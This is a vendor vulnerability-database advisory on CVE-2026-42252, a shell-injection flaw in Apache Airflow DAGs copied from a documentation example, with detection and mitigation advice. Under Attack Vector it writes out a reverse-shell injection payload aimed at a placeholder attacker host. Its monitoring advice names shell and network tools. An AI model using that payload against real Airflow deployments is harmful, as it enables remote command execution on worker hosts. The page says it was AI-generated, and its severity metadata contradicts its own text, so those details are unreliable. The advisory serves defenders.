A Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection. Six years running.Six years. Gartner® Magic Quadrant™ Leader.Find Out Why
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-42252

CVE-2026-42252: Apache Airflow RCE Vulnerability

CVE-2026-42252 is a remote code execution flaw in Apache Airflow caused by unsafe documentation examples that allowed shell injection via the conf field. This article covers the technical details, affected versions, and mitigation.

Published: June 4, 2026

CVE-2026-42252 Overview

CVE-2026-42252 affects Apache Airflow deployments whose DAG code was modeled on a vulnerable documentation example. The official documentation at core-concepts/dag-run.html showed a BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") pattern without shell-quoting or sanitization warnings. Authenticated users with Dag.can_trigger permission could inject shell metacharacters through the conf field of the trigger API. The injected payload reaches os.exec on the worker, enabling arbitrary command execution. This issue belongs to the same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. The vulnerability is tracked under [CWE-1336] (Improper Neutralization of Special Elements Used in a Template Engine).

Critical Impact

Authenticated trigger users can execute arbitrary commands on Airflow workers when DAG authors copied the pre-correction documentation example verbatim.

Affected Products

  • Apache Airflow deployments using DAG code modeled on the pre-correction core-concepts/dag-run.html example
  • Multi-team Airflow deployments where users hold Dag.can_trigger permission
  • Hosted Airflow offerings exposing the trigger API to authenticated users

Discovery Timeline

  • 2026-06-01 - CVE-2026-42252 published to NVD
  • 2026-06-02 - Last updated in NVD database

Technical Details for CVE-2026-42252

Vulnerability Analysis

The root issue is a template-engine injection pattern propagated through official documentation. The Airflow docs presented a BashOperator example that interpolates dag_run.conf['conf1'] directly into a shell command string. Jinja templating replaces the placeholder with the raw user-supplied value before the shell parses the result. Any DAG built on this pattern accepts attacker-controlled input from the trigger API's conf payload and forwards it unsanitized to the worker shell. The exposure depends on a permission boundary that is routinely crossed in multi-team environments: holders of Dag.can_trigger are normally treated as low-privilege operational users, not as code-execution-equivalent identities.

Root Cause

The documentation example did not apply shell quoting or warn that dag_run.conf values are untrusted input. DAG authors copying the pattern produce a BashOperator whose bash_command is reconstructed at template-render time, mixing literal command text with attacker-controlled strings. Apache Airflow PR 64129 corrects the example to include explicit shell-quoting and a safety caveat, and the corrected docs ship with apache-airflow 3.2.2.

Attack Vector

An authenticated user with Dag.can_trigger on an affected DAG calls the trigger API and supplies a conf value containing shell metacharacters. A payload such as "; bash -i >& /dev/tcp/<attacker>/9999 0>&1; #" terminates the echo command, executes an attacker-controlled command, and comments out the trailing literal. The injected command runs in the worker process with the privileges of the Airflow worker, providing a foothold inside the orchestration plane. See the Apache Airflow PR 64129 for the documentation correction details.

// No verified exploit code is published. The vulnerability is described in prose above; refer to PR 64129 for the corrected pattern and to the Apache mailing list thread for advisory context.

Detection Methods for CVE-2026-42252

Indicators of Compromise

  • Trigger API requests where the conf JSON payload contains shell metacharacters such as ;, |, &, backticks, or $(.
  • Worker process logs showing unexpected child processes spawned from BashOperator tasks, particularly shells with network sockets.
  • Outbound network connections from Airflow worker hosts to unfamiliar IP addresses on high-numbered ports.

Detection Strategies

  • Audit DAG source code for BashOperator instances whose bash_command interpolates dag_run.conf, params, or other user-controllable Jinja variables without shlex.quote or equivalent escaping.
  • Inspect Airflow audit logs and dag_run records for conf payloads containing suspicious tokens, then correlate with worker task logs.
  • Monitor Airflow REST API access logs for trigger calls originating from accounts that do not normally invoke them.

Monitoring Recommendations

  • Forward Airflow webserver, scheduler, and worker logs to a centralized analytics platform and alert on shell-metacharacter patterns in conf fields.
  • Baseline the set of processes a worker spawns per DAG and alert on deviations such as bash -i, nc, curl, or wget invocations.
  • Track egress connections from worker hosts and flag any session to non-allowlisted destinations.

How to Mitigate CVE-2026-42252

Immediate Actions Required

  • Upgrade to apache-airflow 3.2.2 or later to ingest the corrected documentation and align local DAG patterns with the safe example.
  • Review every BashOperator in production for untrusted Jinja interpolation and refactor to pass values through environment variables or shlex.quote.
  • Restrict Dag.can_trigger to identities that are already trusted with code-execution-equivalent access on the worker.

Patch Information

The fix is documentation-level and ships in apache-airflow 3.2.2 via apache/airflow PR 64129. The corrected example demonstrates shell-quoting and adds an explicit safety caveat. Refer to the Apache mailing list discussion for advisory context.

Workarounds

  • Replace inline Jinja interpolation with environment variables: pass dag_run.conf values via the env argument of BashOperator and reference them as "$CONF1" inside the command.
  • Wrap any required interpolation with {{ dag_run.conf['conf1'] | shell_quote }} or pre-process the value in a Python callable before passing it to the shell.
  • Prefer PythonOperator or KubernetesPodOperator with parameterized arguments over BashOperator when handling externally supplied input.
bash
# Configuration example: safe BashOperator pattern using env vars
# task = BashOperator(
#     task_id="echo_safe",
#     bash_command='echo "value: $CONF1"',
#     env={"CONF1": "{{ dag_run.conf['conf1'] }}"},
# )

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechApache Airflow

  • SeverityCRITICAL

  • CVSS Score9.1

  • EPSS Probability0.05%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityNone
  • CWE References
  • CWE-1336
  • Vendor Resources
  • GitHub Airflow Pull Request

  • Apache Mailing List Discussion
  • Related CVEs
  • CVE-2026-42359: Apache Airflow RCE Vulnerability

  • CVE-2026-45360: Apache Airflow RCE Vulnerability

  • CVE-2026-25917: Apache Airflow RCE Vulnerability

  • CVE-2025-54550: Apache Airflow XCom RCE Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English